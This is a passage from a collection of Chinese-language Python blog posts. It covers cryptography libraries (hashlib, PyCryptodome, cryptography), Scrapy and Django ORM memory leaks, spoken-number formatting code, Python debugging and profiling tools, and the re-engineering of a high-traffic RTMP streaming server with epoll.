    '422fbfbc67fe17c86642c5eaaa48f8b670cbed1b'

可以看到，我们可以同时创建一个哈希实例并且调用其 digest 函数。然后，我们打印出这个哈希值看一下。这里我使用 sha1
哈希函数作为例子，但它不是特别安全，读者可以随意尝试其他的哈希函数。

### 密钥导出

Python 的标准库对密钥导出支持较弱。实际上，hashlib 函数库提供的唯一方法就是 pbkdf2_hmac 函数。它是 PKCS#5
的基于口令的第二个密钥导出函数，并使用 HMAC
作为伪随机函数。因为它支持“加盐salt”和迭代操作，你可以使用类似的方法来哈希你的密码。例如，如果你打算使用 SHA-256 加密方法，你将需要至少 16
个字节的“盐”，以及最少 100000 次的迭代操作。



简单来说，“盐”就是随机的数据，被用来加入到哈希的过程中，以加大破解的难度。这基本可以保护你的密码免受字典和彩虹表rainbow table的攻击。



让我们看一个简单的例子：



    >>> import binascii
    >>> dk = hashlib.pbkdf2_hmac(hash_name='sha256',
            password=b'bad_password34', 
            salt=b'bad_salt', 
            iterations=100000)
    >>> binascii.hexlify(dk)
    b'6e97bad21f6200f9087036a71e7ca9fa01a59e1d697f7e0284cd7f9b897d7c02'

这里，我们用 SHA256 对一个密码进行哈希，使用了一个糟糕的盐，但经过了 100000 次迭代操作。当然，SHA
实际上并不被推荐用来创建密码的密钥。你应该使用类似 scrypt 的算法来替代。另一个不错的选择是使用一个叫 bcrypt
的第三方库，它是被专门设计出来哈希密码的。

### PyCryptodome

PyCrypto 可能是 Python 中密码学方面最有名的第三方软件包。可惜的是，它的开发工作于 2012 年就已停止。其他人还在继续发布最新版本的
PyCrypto，如果你不介意使用第三方的二进制包，仍可以取得 Python 3.5 的相应版本。比如，我在 Github
(https://github.com/sfbahr/PyCrypto-Wheels) 上找到了对应 Python 3.5 的 PyCrypto 二进制包。



幸运的是，有一个该项目的分支 PyCrytodome 取代了 PyCrypto 。为了在 Linux 上安装它，你可以使用以下 pip 命令：



    pip install pycryptodome

在 Windows 系统上安装则稍有不同：



    pip install pycryptodomex

如果你遇到了问题，可能是因为你没有安装正确的依赖包（LCTT 译注：如 python-devel），或者你的 Windows 系统需要一个编译器。

还值得注意的是，PyCryptodome 在 PyCrypto 最后版本的基础上有很多改进。非常值得去访问它们的主页，看看有什么新的特性。

### 加密字符串

访问了他们的主页之后，我们可以看一些例子。在第一个例子中，我们将使用 DES 算法来加密一个字符串：



    >>> from Crypto.Cipher import DES
    >>> key = 'abcdefgh'
    >>> def pad(text):
            while len(text) % 8 != 0:
                text += ' '
            return text
    >>> des = DES.new(key, DES.MODE_ECB)
    >>> text = 'Python rocks!'
    >>> padded_text = pad(text)
    >>> encrypted_text = des.encrypt(text)
    Traceback (most recent call last):
      File "<pyshell#35>", line 1, in <module>
        encrypted_text = des.encrypt(text)
      File "C:\Programs\Python\Python35-32\lib\site-packages\Crypto\Cipher\blockalgo.py", line 244, in encrypt
        return self._cipher.encrypt(plaintext)
    ValueError: Input strings must be a multiple of 8 in length
    >>> encrypted_text = des.encrypt(padded_text)
    >>> encrypted_text
    b'>\xfc\x1f\x16x\x87\xb2\x93\x0e\xfcH\x02\xd59VQ'

这段代码稍有些复杂，让我们一点点来看。首先需要注意的是，DES 加密使用的密钥长度为 8 个字节，这也是我们将密钥变量设置为 8
个字符的原因。而我们需要加密的字符串的长度必须是 8 的倍数，所以我们创建了一个名为 pad 的函数，来给一个字符串末尾填充空格，直到它的长度是 8
的倍数。然后，我们创建了一个 DES
的实例，以及我们需要加密的文本。我们还创建了一个经过填充处理的文本。我们尝试着对未经填充处理的文本进行加密，啊欧，报了一个 ValueError
错误！我们需要对经过填充处理的文本进行加密，然后得到加密的字符串。（LCTT 译注：encrypt 函数的参数应为 byte
类型字符串，代码为：encrypted_text = des.encrypt(padded_text.encode('utf-8'))）



知道了如何加密，还要知道如何解密：



    >>> des.decrypt(encrypted_text)
    b'Python rocks!   '

幸运的是，解密非常容易，我们只需要调用 des 对象的 decrypt 方法就可以得到我们原来的 byte 类型字符串了。下一个任务是学习如何用 RSA
算法加密和解密一个文件。首先，我们需要创建一些 RSA 密钥。

### 创建 RSA 密钥

如果你希望使用 RSA 算法加密数据，那么你需要拥有访问 RAS
公钥和私钥的权限，否则你需要生成一组自己的密钥对。在这个例子中，我们将生成自己的密钥对。创建 RSA 密钥非常容易，所以我们将在 Python
解释器中完成。



    >>> from Crypto.PublicKey import RSA
    >>> code = 'nooneknows'
    >>> key = RSA.generate(2048)
    >>> encrypted_key = key.exportKey(passphrase=code, pkcs=8, 
            protection="scryptAndAES128-CBC")
    >>> with open('/path_to_private_key/my_private_rsa_key.bin', 'wb') as f:
            f.write(encrypted_key)
    >>> with open('/path_to_public_key/my_rsa_public.pem', 'wb') as f:
            f.write(key.publickey().exportKey())

首先我们从 Crypto.PublicKey 包中导入 RSA，然后创建一个傻傻的密码。接着我们生成 2048 位的 RSA
密钥。现在我们到了关键的部分。为了生成私钥，我们需要调用 RSA 密钥实例的 exportKey 方法，然后传入密码，使用的 PKCS
标准，以及加密方案这三个参数。之后，我们把私钥写入磁盘的文件中。



接下来，我们通过 RSA 密钥实例的 publickey 方法创建我们的公钥。我们使用方法链调用 publickey 和 exportKey
方法生成公钥，同样将它写入磁盘上的文件。

### 加密文件

有了私钥和公钥之后，我们就可以加密一些数据，并写入文件了。这里有个比较标准的例子：



    from Crypto.PublicKey import RSA
    from Crypto.Random import get_random_bytes
    from Crypto.Cipher import AES, PKCS1_OAEP
    with open('/path/to/encrypted_data.bin', 'wb') as out_file:
        recipient_key = RSA.import_key(
            open('/path_to_public_key/my_rsa_public.pem').read())
        session_key = get_random_bytes(16)
        cipher_rsa = PKCS1_OAEP.new(recipient_key)
        out_file.write(cipher_rsa.encrypt(session_key))
        cipher_aes = AES.new(session_key, AES.MODE_EAX)
        data = b'blah blah blah Python blah blah'
        ciphertext, tag = cipher_aes.encrypt_and_digest(data)
        out_file.write(cipher_aes.nonce)
        out_file.write(tag)
        out_file.write(ciphertext)

代码的前三行导入 PyCryptodome 包。然后我们打开一个文件用于写入数据。接着我们导入公钥赋给一个变量，创建一个 16
字节的会话密钥。在这个例子中，我们将使用混合加密方法，即 PKCS#1 OAEP
，也就是最优非对称加密填充。这允许我们向文件中写入任意长度的数据。接着我们创建 AES
加密，要加密的数据，然后加密数据。我们将得到加密的文本和消息认证码。最后，我们将随机数，消息认证码和加密的文本写入文件。



顺便提一下，随机数通常是真随机或伪随机数，只是用来进行密码通信的。对于 AES 加密，其密钥长度最少是 16
个字节。随意用一个你喜欢的编辑器试着打开这个被加密的文件，你应该只能看到乱码。



现在让我们学习如何解密我们的数据。



    from Crypto.PublicKey import RSA
    from Crypto.Cipher import AES, PKCS1_OAEP
    code = 'nooneknows'
    with open('/path/to/encrypted_data.bin', 'rb') as fobj:
        private_key = RSA.import_key(
            open('/path_to_private_key/my_rsa_key.pem').read(),
            passphrase=code)
        enc_session_key, nonce, tag, ciphertext = [ fobj.read(x) 
                                                    for x in (private_key.size_in_bytes(), 
                                                    16, 16, -1) ]
        cipher_rsa = PKCS1_OAEP.new(private_key)
        session_key = cipher_rsa.decrypt(enc_session_key)
        cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
        data = cipher_aes.decrypt_and_verify(ciphertext, tag)
    print(data)

如果你认真看了上一个例子，这段代码应该很容易解析。在这里，我们先以二进制模式读取我们的加密文件，然后导入私钥。注意，当你导入私钥时，需要提供一个密码，否则会
出现错误。然后，我们文件中读取数据，首先是加密的会话密钥，然后是 16 字节的随机数和 16 字节的消息认证码，最后是剩下的加密的数据。



接下来我们需要解密出会话密钥，重新创建 AES 密钥，然后解密出数据。



你还可以用 PyCryptodome 库做更多的事。不过我们要接着讨论在 Python 中还可以用什么来满足我们加密解密的需求。

### cryptography 包

cryptography 的目标是成为“人类易于使用的密码学包cryptography for humans”，就像 requests 是“人类易于使用的
HTTP 库HTTP for Humans”一样。这个想法使你能够创建简单安全、易于使用的加密方案。如果有需要的话，你也可以使用一些底层的密码学基元，但这也
需要你知道更多的细节，否则创建的东西将是不安全的。



如果你使用的 Python 版本是 3.5, 你可以使用 pip 安装，如下：



    pip install cryptography

你会看到 cryptography 包还安装了一些依赖包（LCTT 译注：如 libopenssl-
devel）。如果安装都顺利，我们就可以试着加密一些文本了。让我们使用 Fernet
对称加密算法，它保证了你加密的任何信息在不知道密码的情况下不能被篡改或读取。Fernet 还通过 MultiFernet
支持密钥轮换。下面让我们看一个简单的例子：



    >>> from cryptography.fernet import Fernet
    >>> cipher_key = Fernet.generate_key()
    >>> cipher_key
    b'APM1JDVgT8WDGOWBgQv6EIhvxl4vDYvUnVdg-Vjdt0o='
    >>> cipher = Fernet(cipher_key)
    >>> text = b'My super secret message'
    >>> encrypted_text = cipher.encrypt(text)
    >>> encrypted_text
    (b'gAAAAABXOnV86aeUGADA6mTe9xEL92y_m0_TlC9vcqaF6NzHqRKkjEqh4d21PInEP3C9HuiUkS9f'
     b'6bdHsSlRiCNWbSkPuRd_62zfEv3eaZjJvLAm3omnya8=')
    >>> decrypted_text = cipher.decrypt(encrypted_text)
    >>> decrypted_text
    b'My super secret message'

首先我们需要导入 Fernet，然后生成一个密钥。我们输出密钥看看它是什么样儿。如你所见，它是一个随机的字节串。如果你愿意的话，可以试着多运行
generate_key 方法几次，生成的密钥会是不同的。然后我们使用这个密钥生成 Fernet 密码实例。



现在我们有了用来加密和解密消息的密码。下一步是创建一个需要加密的消息，然后使用 encrypt
方法对它加密。我打印出加密的文本，然后你可以看到你再也读不懂它了。为了解密出我们的秘密消息，我们只需调用 decrypt
方法，并传入加密的文本作为参数。结果就是我们得到了消息字节串形式的纯文本。

### 小结

这一章仅仅浅显地介绍了 PyCryptodome 和 cryptography
这两个包的使用。不过这也确实给了你一个关于如何加密解密字符串和文件的简述。请务必阅读文档，做做实验，看看还能做些什么！

Scrapy的内存泄露问题总结

2018-01-01T00:00:00+08:00

# Scrapy的内存泄露问题总结

  这几天跟着小伙伴一起做项目，碰到不少平时碰不到的技术问题，真是很好玩的一件事。比如Scrapy这个爬虫框架的的内存泄露问题就是一个很让人头疼的问题。



  历来OOM(OOM - Out of Memory，内存溢出)问题都是项目里最棘手的问题，这种问题debug的难度很大，原因在于问题不太好定位。因为OO
M的成因往往比较复杂，不合理的对象创建，数据结构使用的不合理性，分布式架构中各系统的配合不好等情况，都有可能出现这个问题。

  而爬虫这个任务，涉及网站各个页面的遍历，通常会在网站抓去期间产生大量的HTTP Request，而Request的处理往往是通过任务队列来处理的。由于不
是网站的所有的页面都要抓去，但我们几乎需要遍历大部分的页面，再考虑并发的情况，爬虫任务开始后，往往会有大量的pending request进入队列。而这些队
列，框架对其最常见的处理方式是放在内存中，因此，当要抓去的页面层次位于网站的较深层时，这个队列的内存占用到了任务的中后期会变得非常可观。以我这次碰到的情况看
，在用完我所有想到的能用到的方法优化内存使用以后，在抓到将近20w条数据的时候，队列里pending
request数量已经占到了差不多40w个。此时消耗了差不多1.7G内存，而我整个虚拟机也只有2G内存。

  需要说明的一点是，这个数值，根据不同的网站，爬虫写法的不同，会有不同的值。这里只是我的项目中的数据。在没有做任何优化之前，基本上跑到几千甚至1w条数据的
时候，爬虫就吃光内存被ubuntu强制杀掉了。Scrapy的官方文档也提到过memory
leak的debug方法，大家可以参考Scrapy文档中的Debugging memory leaks一节。官方文档给了比较详细的说明， 详情参考
[Scrapy文档 -
调试内存溢出](http://docs.pythontab.com/scrapy/scrapy0.24/topics/leaks.html)



  那么，Scrapy会造成OOM的原因是否只有request？答案是不是。这个项目里面使用了django的orm作为数据操作的框架。可以说，之前吃内存太快
的原因，主要不在于Scrapy的pending request膨胀得太快，而是django带来的坑。

  因为我们要抓取的数据量也是很大的，因此也会有大量的数据会往数据库里写，同时，也会有很多数据被读取。有时候为了避免过多的数据库io，我们会将常用的数据留在
内存中，需要的时候直接取用。但很不幸的是，django的orm也会考虑同样的问题。当我们调用django orm的QuerySet接口查询的时候，djang
o会把数据缓存。这样，同样的东西会保持2份（一份是我们自己维护的内存缓存，一份是orm自己的session缓存）。只有使用QuerySet的iterator
方法来迭代输出的时候，django orm才不会有缓存行为，这是django官方文档中的解释。

  但是，事情并不会如此简单，在开发阶段，我们往往会把框架的debug参数设为True以便于debug的时候做profile和异常定位。但是在开发阶段用de
bug=True的配置来跑程序的时候，orm永远都会缓存，因此在这种配置下，依然无法避免内存泄露的问题。另一个坑就是，像MySQL-Python（MySQL
db）和Psycopg2这样的数据库驱动，都有客户端缓存，因此，数据库驱动也会保存一份缓存，这样内存中就是3份缓存，如果数据量大了，内存开销的增长速度会相当
可观。因此，在有需要缓存的数据的查询的时候，要避免把所有的东西查出来，只取出自己需要的字段就好。

  django的QuerySet有values和value_list方法来保证只取到需要的字段，另一个办法就是自己操作数据库连接，写SQL来获取自己需要的
字段。前一种方法是较好的方式。其实这个问题对于其他的orm也会存在，因此也是相当的具有参考性。



  所以总结一下，当你在scrapy遇到内存泄露的问题的时候应该检查以下情况：

  1.Scrapy的任务队列中的请求数是否过多？

  如果是，那么你应该看看自己的url抓取的rule是否应该优化，将完全没有必要访问的页面都剔除掉，不抓取，不访问。查看pending
request数量的方法请参看Scrapy的telnet console说明和文档中debugging memory leaks这一节。

  2.orm的写法是否使用了缓存，如果是，请寻找不缓存的查询方法，或者定时手动清理orm缓存。

  3.看看数据库驱动的特性里是否存在缓存结果的特性，是的话，可以看看能否关闭并在查询的时候只查出自己需要的字段，不要查出所有字段。

把大数据数字口语化（python+js）

2018-01-01T00:00:00+08:00

# 把大数据数字口语化（python+js）

当出现万以上的整型数字时，经常要把它们口语化比较直观。下面分享两段代码，python与js的

python



    def fn(num):
        '''
        把数字口语化
        '''

        ret = ''
        num = int(num)
        if num/10000 == 0:
            ret = str(num)
        else:
            if num/10**8 == 0:
                if num%10000 != 0:
                    ret = str(num/10000) + '万' + str(num % 10000)
                else:
                    ret = str(num/10000) + '万'
            else:
                n2 = num%10**8
                if n2%10000 != 0 and n2/10000 != 0:
                    ret = str(num/10**8) + '亿' + str(n2/10000) + '万' + str(n2%10000)
                elif  n2%10000 != 0 and n2/10000 == 0:
                    ret = str(num/10**8) + '亿' +  str(n2%10000)
                elif  n2%10000 == 0 and n2/10000 != 0:
                    ret = str(num/10**8) + '亿' +  str(n2/10000) + '万'
                elif  n2%10000 == 0 and n2/10000 == 0:
                    ret = str(num/10**8) + '亿'
        return ret



javascript:



    function int2string(num) {
        num = Number(num);
        if (num/10000 < 1){
            ret = num;
        }else{
            if (num/Math.pow(10,8) < 1) {
                if (num%10000 != 0) {
                    ret = parseInt(num/10000) + '万' + num % 10000;
                }else{
                    ret = parseInt(num/10000) + '万';
                }
            }else{
                n2 = num%Math.pow(10,8);
                if (n2%10000 != 0 & n2/10000 != 0) {
                    ret = parseInt(num/Math.pow(10,8)) + '亿' + parseInt(n2/10000) + '万' + (n2%10000);
                }else if(n2%10000 != 0 & n2/10000 == 0){
                    ret = parseInt(num/Math.pow(10,8)) + '亿' +  parseInt(n2%10000);
                }else if(n2%10000 == 0 & n2/10000 != 0){
                    ret = parseInt(num/Math.pow(10,8)) + '亿' +  parseInt(n2/10000) + '万';
                }else if(n2%10000 == 0 & n2/10000 == 0){
                    ret = (num/Math.pow(10,8)) + '亿';
                }
            }
        }
        return ret
    }

常用的 Python 调试工具，Python开发必读

2018-01-01T00:00:00+08:00

# 常用的 Python 调试工具，Python开发必读

以下是我做调试或分析时用过的工具的一个概览。如果你知道有更好的工具，请在评论中留言，可以不用很完整的介绍。

###### 日志

没错，就是日志。再多强调在你的应用里保留足量的日志的重要性也不为过。你应当对重要的内容打日志。如果你的日志打的足够好的话，单看日志你就能发现问题所在。那样可
以节省你大量的时间。

如果一直以来你都在代码里乱用 print 语句，马上停下来。换用logging.debug。以后你还可以继续复用，或是全部停用等等。

###### 跟踪

有时更好的办法是看执行了哪些语句。你可以使用一些IDE的调试器的单步执行，但你需要明确知道你在找那些语句，否则整个过程会进行地非常缓慢。

标准库里面的trace模块，可以打印运行时包含在其中的模块里所有执行到的语句。(就像制作一份项目报告)




    python -mtrace –trace script.py

这会产生大量输出（执行到的每一行都会被打印出来，你可能想要用grep过滤那些你感兴趣的模块）.

比如：




    python -mtrace –trace script.py | egrep '^(mod1.py|mod2.py)'

###### 调试器

以下是如今应该人尽皆知的一个基础介绍：




    import pdb
    pdb.set_trace() # 开启pdb提示

或者




    try:
    （一段抛出异常的代码）
    except:
        import pdb
        pdb.pm() # 或者 pdb.post_mortem()
    　　或者(输入 c 开始执行脚本)

python -mpdb script.py

在输入-计算-输出循环(注：REPL，READ-EVAL-PRINT-LOOP的缩写)环境下，可以有如下操作：

c or continue

q or quit

l or list, 显示当前步帧的源码

w or where,回溯调用过程

d or down, 后退一步帧（注：相当于回滚）

u or up, 前进一步帧

(回车), 重复上一条指令

其余的几乎全部指令（还有很少的其他一些命令除外）,在当前步帧上当作python代码进行解析。

如果你觉得挑战性还不够的话，可以试下smiley，-它可以给你展示那些变量而且你能使用它来远程追踪程序。

###### 更好的调试器

pdb的直接替代者：

ipdb(easy_install ipdb) – 类似ipython(有自动完成，显示颜色等)

pudb(easy_install pudb) – 基于curses（类似图形界面接口），特别适合浏览源代码

###### 远程调试器

安装方式:

sudo apt-get install winpdb

用下面的方式取代以前的pdb.set_trace()：




    import rpdb2
    rpdb2.start_embedded_debugger("secretpassword")

现在运行winpdb,文件-关联

不喜欢Winpdb?也可以直接包装PDB在TCP之上运行！

这样做：




    import loggging
    class Rdb(pdb.Pdb):
        """
        This will run pdb as a ephemeral telnet service. Once you connect no one
        else can connect. On construction this object will block execution till a
        client has connected.
     
        Based on https://github.com/tamentis/rpdb I think ...
     
        To use this::
     
            Rdb(4444).set_trace()
     
        Then run: telnet 127.0.0.1 4444
        """
        def __init__(self, port=0):
            self.old_stdout = sys.stdout
            self.old_stdin = sys.stdin
            self.listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.listen_socket.bind(('0.0.0.0', port))
            if not port:
                logging.critical("PDB remote session open on: %s", self.listen_socket.getsockname())
                print >> sys.__stderr__, "PDB remote session open on:", self.listen_socket.getsockname()
                sys.stderr.flush()
            self.listen_socket.listen(1)
            self.connected_socket, address = self.listen_socket.accept()
            self.handle = self.connected_socket.makefile('rw')
            pdb.Pdb.__init__(self, completekey='tab', stdin=self.handle, stdout=self.handle)
            sys.stdout = sys.stdin = self.handle
     
        def do_continue(self, arg):
            sys.stdout = self.old_stdout
            sys.stdin = self.old_stdin
            self.handle.close()
            self.connected_socket.close()
            self.listen_socket.close()
            self.set_continue()
            return 1
     
        do_c = do_cont = do_continue
     
    def set_trace():
        """
        Opens a remote PDB on first available port.
        """
        rdb = Rdb()
        rdb.set_trace()

只想要一个REPL环境？试试IPython如何？

如果你不需要一个完整齐全的调试器，那就只需要用一下的方式启动一个IPython即可：




    import IPython
    IPython.embed()

###### 标准linux工具

我常常惊讶于它们竟然远未被充分利用。你能用这些工具解决很大范围内的问题：从性能问题（太多的系统调用，内存分配等等）到死锁，网络问题，磁盘问题等等。

其中最有用的是最直接的strace，只需要运行 sudo strace -p 12345 或者 strace -f 指令(-f
即同时追踪fork出来的子进程)，这就行了。输出一般会非常大，所以你可能想要把它重定向到一个文件以便作更多的分析（只需要加上 &> 文件名）。

再就是ltrace,有点类似strace，不同的是，它输出的是库函数调用。参数大体相同。

还有lsof 用来指出你在ltrace/strace中看到的句柄数值的意义。比如：

lsof -p 12345

更好的跟踪

使用简单而可以做很多事情-人人都该装上htop！

sudo apt-get install htop

sudo htop

现在找到那些你想要的进程，再输入：

s - 代表系统调用过程(类似strace)

L - 代表库调用过程(类似ltrace)

l - 代表lsof

　　监控

没有好的持续的服务器监控，但是如果你曾遇到一些很诡异的情况，诸如为什么一切都运行的那么慢，那些系统资源都干什么去了，。。。等这些问题，想弄明白却又
无处下手之际，不必动用iotop,iftop,htop,iostat,vmstat这些工具，就用dstat吧！它可以做之前我们提过的大部分工作可
以做的事情，而且也许可以做的更好！

它会用一种紧凑的，代码高亮的方式（不同于iostat,vmstat）向你持续展示数据，你还经常可以看到过去的数据（不同于iftop,iostop,htop）
。

只需运行：

dstat --cpu --io --mem --net --load --fs --vm --disk-util --disk-tps
--freespace --swap --top-io --top-bio-adv

很可能有一种更简短的方式来写上面这条命令，

这是一个相当复杂而又强大的工具，但是这里我只提到了一些基本的内容（安装以及基础的命令）

sudo apt-get install gdb python-dbg

zcat /usr/share/doc/python2.7/gdbinit.gz > ~/.gdbinit

用python2.7-dbg 运行程序：

sudo gdb -p 12345

现在使用：

bt - 堆栈跟踪（C 级别）

pystack - python 堆栈跟踪,不幸的是你需要有~/.gdbinit 并且使用python-dbg

c - 继续

　　发生段错误？用faulthandler ！



　　python 3.3版本以后新增的一个很棒的功能，可以向后移植到python2.x版本。只需要运行下面的语句，你就可以大抵知道什么原因引起来段错误。

import faulthandler

faulthandler.enable()

###### 内存泄露

嗯，这种情况下有很多的工具可以使用，其中有一些专门针对WSGI的程序比如Dozer，但是我最喜欢的当然是objgraph。使用简单方便，让人惊讶！

它没有集成WSGI或者其他，所以你需要自己去发现运行代码的方法，像下面这样：

import objgraph

objs = objgraph.by_type("Request")[:15]

objgraph.show_backrefs(objs, max_depth=20, highlight=lambda v: v in objs,



filename="/tmp/graph.png")

Graph written to /tmp/objgraph-zbdM4z.dot (107 nodes)

Image generated as /tmp/graph.png

你会得到像这样一张图（注意：它非常大)。你也可以得到一张点输出。

###### 内存使用

有时你想少用些内存。更少的内存分配常常可以使程序执行的更快，更好，用户希望内存合适好用)

有许多可用的工具，但在我看来最好用的是pytracemalloc。与其他工具相比，它开销非常小（不需要依赖于严重影响速度的sys.settrace）而且输出
非常详尽。但安装起来比较痛苦，你需要重新编译python，但有了apt，做起来也非常容易。

只需要运行这些命令然后去吃顿午餐或者干点别的：

apt-get source python2.7

cd python2.7-*

wget? https://github.com/wyplay/pytracemalloc/raw/master/python2.7_track_free_
list.patch

patch -p1 < python2.7_track_free_list.patch

debuild -us -uc

cd ..

sudo dpkg -i python2.7-minimal_2.7*.deb python2.7-dev_*.deb

接着安装pytracemalloc （注意如果你在一个virtualenv虚拟环境下操作，你需要在重新安装python后再次重建 – 只需要运行
virtualenv myenv）

pip install pytracemalloc

现在像下面这样在代码里包装你的应用程序




    import tracemalloc, time
    tracemalloc.enable()
    top = tracemalloc.DisplayTop(
        5000, # log the top 5000 locations
        file=open('/tmp/memory-profile-%s' % time.time(), "w")
    )
    top.show_lineno = True
    try:
        # code that needs to be traced
    finally:
        top.display()

　　输出会像这样：



2013-05-31 18:05:07: Top 5000 allocations per file and line

 #1: .../site-packages/billiard/_connection.py:198: size=1288 KiB, count=70
(+0),

average=18 KiB

 #2: .../site-packages/billiard/_connection.py:199: size=1288 KiB, count=70
(+0),

average=18 KiB

 #3: .../python2.7/importlib/__init__.py:37: size=459 KiB, count=5958 (+0),

average=78 B

 #4: .../site-packages/amqp/transport.py:232: size=217 KiB, count=6960 (+0),

average=32 B

 #5: .../site-packages/amqp/transport.py:231: size=206 KiB, count=8798 (+0),

average=24 B

 #6: .../site-packages/amqp/serialization.py:210: size=199 KiB, count=822
(+0),

average=248 B

 #7: .../lib/python2.7/socket.py:224: size=179 KiB, count=5947 (+0),
average=30

B

 #8: .../celery/utils/term.py:89: size=172 KiB, count=1953 (+0), average=90 B

 #9: .../site-packages/kombu/connection.py:281: size=153 KiB, count=2400 (+0),

average=65 B

 #10: .../site-packages/amqp/serialization.py:462: size=147 KiB, count=4704

(+0), average=32 B

　　…

成人网站性能提升 20 倍之经验谈 [Python]

2018-01-01T00:00:00+08:00

# 成人网站性能提升 20 倍之经验谈 [Python]

色情业是个大行业。互联网上没有多少网站的流量能和最大的色情网站相匹敌。

要搞定这巨大的流量很难。更困难的是，在色情网站上提供的很多内容都是低延迟的实时流媒体而不是简单的静态视频。但是对于所有碰到过的挑战，我很少看到有搞定过它们的
开发人员写的东西。所以我决定把自己在这方面的经验写出来。

问题是什么？

几年前，我正在为当时全世界访问量排名26的网站工作 — 这里不是说的色情网站排名，而是全世界排名。

当时，该网站通过RTMP(Real Time Messaging
protocol)协议响应对色情流媒体的请求。更具体地说，它使用了Adobe的FMS(Flash Media
Server)技术为用户提供实时流媒体。基本过程是这样的：

用户请求访问某个实时流媒体

服务器通过一个RTMP session响应，播放请求的视频片段

因为某些原因，FMS对我们并不是一个好的选择，首先是它的成本，包括了购买以下两者：

为每一台运行FMS的服务器购买Windows的版权

大约4000美元一个的FMS特定版权，由于我们的规模，我们必须购买的版权量数以百计，而且每天都在增加。

所有这些费用开始不断累积。撇开成本不提，FMS也是一个比较挫的产品，特别是在它的功能方面（我过一会再详细说这个问题）。所以我决定抛弃FMS，自己从头开始写一
个自己的RTMP解析器。

最后，我终于把我们的服务效率提升了大约20倍。

开始

这里涉及到两个核心问题：首先，RTMP和其他的Adobe协议及格式都不是开放的，这就很难使用它们。要是对文件格式都一无所知，你如何能对它进
行反向工程或者解析它呢？幸运的是，有一些反向工程的尝试已经在公开领域出现了（并不是Adobe出品的，而是osflash.org，它破解了一些协
议），我们的工作就是基于这些成果。

注：Adobe后来发布了所谓的“规格说明书”，比起在非Adobe提供的反向工程wiki和文档中披露的内容，这个说明书里也没有啥新东西。他们
给的规格说明书的质量之低劣达到了荒谬的境地，近乎不可能通过该说明书来使用它们的库。而且，协议本身看起来常常也是有意做成具有误导性的。例如：

他们使用29字节的整形数。

他们在协议头上所有地方都采用低地址存放最高有效字节(big endian)的格式，除了在某一个字段（而且未标明）上采用低地址存放最低有效字节(little
endian)的格式。

他们在传输9K的视频时，不惜耗费计算能力去压缩数据减少空间，这基本上是没意义的，因为他们这么折腾一次也就是减少几位或几个字节，对这样的一个文件大小可以忽略不
计了。

还有，RTMP是高度以session为导向的，这使得它基本上不可能对流进行组播。理想状态下，如果多个用户要求观看同一个实时视频流，我们可以
直接向他们传回指向单个session的指针，在该session里传输这个视频流（这就是组播的概念）。但是用RTMP的话，我们必须为每一个要求访问
特定流的用户创建全新的一个实例。这是完全的浪费。

我的解决办法

想到了这些，我决定把典型的响应流重新打包和解析为FLV“标签”（这里的“标签”指某个视频、音频或者元数据）。这些FLV标签可以在RTMP下顺利地传输。

这样一个方法的好处是：

我们只需要给流重新打包一次（重新打包是一个噩梦，因为缺少规格说明，还有前面说到的恶心协议）。

通过套用一个FLV头，我们可以在客户端之间顺畅地重用任何流，而用内部的FLV标签指针（配以某种声明其在流内部确切位置的位移值）就可以访问到真正的内容。

我一开始用我当时最熟悉的C语言进行开发。一段时间后，这个选择变得麻烦了，所以我开始学习Python并移植我的C代码。开发过程加快了，但在做
了一些演示版本后，我很快遇到了资源枯竭的问题。Python的socket处理并不适合处理这些类型的情况，具体说，我们发现在自己的Python代码
里，每个action都进行了多次系统调用和context切换，这增加了巨大的系统开销。

改进性能：混合使用Python和C

在对代码进行梳理之后，我选择将性能最关键的函数移植到内部完全用C语言编写的一个Python模块中。这基本是底层的东西，具体地说，它利用了内核的epoll机制
提供了一个O(log n)的算法复杂度。

在异步socket编程方面，有一些机制可以提供有关特定socket是否可读/可写/出错之类的信息。过去，开发人员们可以用select()系
统调用获取这些信息，但很难大规模使用。Poll()是更好的选择，但它仍然不够好，因为你每次调用的时候都要传递一大堆socket描述符。

Epoll的神奇之处在于你只需要登记一个socket，系统会记住这个特定的socket并处理所有内部的杂乱的细节。这样在每次调用的时候就没
有传递参数的开销了。而且它适用的规模也大有可观，它只返回你关心的那些socket，相比用其他技术时必须从10万个socket描述符列表里挨个检查
是否有带字节掩码的事件，其优越性真是非同小可啊。

不过，为了性能的提高，我们也付出了代价：这个方法采用了完全和以前不同的设计模式。该网站以前的方法是（如果我没记错的话）单个原始进程，在接收和发送时会阻塞。我
开发的是一套事件驱动方案，所以为了适应这个新模型，我必须重构其他的代码。

具体地说，在新方法中，我们有一个主循环，它按如下方式处理接收和发送：

接收到的数据（作为消息）被传递到RTMP层

RTMP包被解析，从中提取出FLV标签

FLV数据被传输到缓存和组播层，在该层对流进行组织并填充到底层传输缓存中

发送程序为每个客户端保存一个结构，包含了最后一次发送的索引，并尽可能多地向客户端传送数据

这是一个滚动的数据窗口，并包含了某些试探性算法，当客户端速度太慢无法接收时会丢弃一些帧。总体来说运行的很好。

系统层级，架构和硬件问题

但是我们又遇到另外一个问题：内核的context切换成为了一个负担。结果，我们选择每100毫秒发送一次而不是实时发送。这样可以把小的数据包汇总起来，也避免了
context切换的爆炸式出现。

也许更大的一个问题在于服务器架构方面：我们需要一个具备负载均衡和容错能力的服务器集群，毕竟因为服务器功能异常而失去用户不是件好玩的事情。一
开始，我们采用了专职总管服务器的方法，它指定一个”总管“负责通过预测需求来产生和消除播放流。这个方法华丽丽地失败了。实际上，我们尝试过的每个方法
都相当明显地失败了。最后，我们采用了一个相对暴力的方法，在集群的各个节点之间随机地共享播放的流，使流量基本平衡了。

这个方法是有效的，但是也有一些不足：虽然一般情况下它处理的很好，我们也碰到了当所有网站用户（或者相当大比例的用户）观看单个广播流的时候，性
能会变得非常糟糕。好消息是，除了一次市场宣传活动（marketing
campaign）之外，这种情况再也没出现过。我们部署了另外一套单独的集群来处理这种情况，但真实的情况是我们先分析了一番，觉得为了一次市场活动而
牺牲付费用户的体验是说不过去的，实际上，这个案例也不是一个真实的事件（虽然说能处理所有想象得到的情况也是很好的）。

结论

这里有最后结果的一些统计数字：每天在集群里的流量在峰值时是大约10万用户（60%负载），平均是5万。我管理了2个集群（匈牙利和美国），每个
里有大约40台服务器共同承担这个负载。这些集群的总带宽大约是50 Gbps，在负载达到峰值时大约使用了10
Gbps。最后，我努力做到了让每台服务器轻松地能提供10 Gbps带宽，也就等于一台服务器可以承受30万用户同时观看视频流。

